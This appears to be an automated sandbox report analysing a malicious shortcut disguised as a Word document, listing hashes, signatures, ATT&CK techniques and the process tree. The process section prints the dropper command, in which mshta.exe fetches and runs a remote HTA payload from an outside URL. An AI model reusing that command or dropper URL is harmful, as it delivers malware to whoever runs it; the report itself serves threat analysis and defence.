265a5ea9251977db93591525f3b80e87d5a761838ac942fce86bf4c27acecf3d

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
01-03-2023 16:26

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General

Target

Data/New Document.docx.lnk
Size

548KB
MD5

1a1c8c0f5cafb7df661086bcb804154c
SHA1

3b0f3682f9407bf0e0f8c80c42d5b5eb07f3e009
SHA256

06daafd4c09594d660c2191b4a421564b492a7043e4db4e91827fbc732d068a8
SHA512

c12904f4fa9ae06f0be15296c65fa4496153555e0d7543a944646661b009450ed9cf0bbe3c0aaf86f514514990ee108037ec976f7dd371bd998609c02075ed8a
SSDEEP

12288:U91M3doO2I7h0nGYeLfT9wgeRNLgEP2X9BGFsqmXxI:uMC67h0n92X9BGSqGxI

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://hpuniversity.in/files/data/start

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1736 wrote to memory of 1200	1736	cmd.exe	28
PID 1736 wrote to memory of 1200	1736	cmd.exe	28
PID 1736 wrote to memory of 1200	1736	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Data\New Document.docx.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://hpuniversity.in/files/data/start && mshta.exe
  2⤵
  - Modifies Internet Explorer settings
  PID:1200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads